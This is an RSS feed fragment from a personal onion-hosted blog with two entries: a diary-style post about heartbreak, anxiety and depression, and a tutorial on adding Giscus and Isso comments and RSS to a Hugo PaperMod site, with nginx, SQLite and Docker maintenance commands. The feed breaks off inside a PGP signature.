    + + Sadness + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/ + Fri, 24 Oct 2025 12:48:31 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/ + <p>Honestly, I don&rsquo;t know why I&rsquo;m doing any of this. I really don&rsquo;t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let&rsquo;s say abused if you will, and then thrown away. +Just like a piece of trash. +It&rsquo;s been hurting more and more. +I&rsquo;ve been lying to myself that I don&rsquo;t care. +That I&rsquo;ve moved on.</p> + Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

    +

    I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

    +

    It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

    +

    I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

    +

    The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

    +

    Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

    +

    I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

    +

    Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

    +

    Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

    +

    Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

    +

    I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

    +

    Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

    +

    I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

    +

    … — …

    +

    … — … … — … … — …

    +

    … — …

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
    +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
    +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
    +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
    +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
    +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
    +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
    +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
    +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
    +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
    +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
    +=VEwz
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md.asc
    +gpg --verify sadness.md.asc sadness.md
    +  
    +
    + + +]]>
    +
    + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
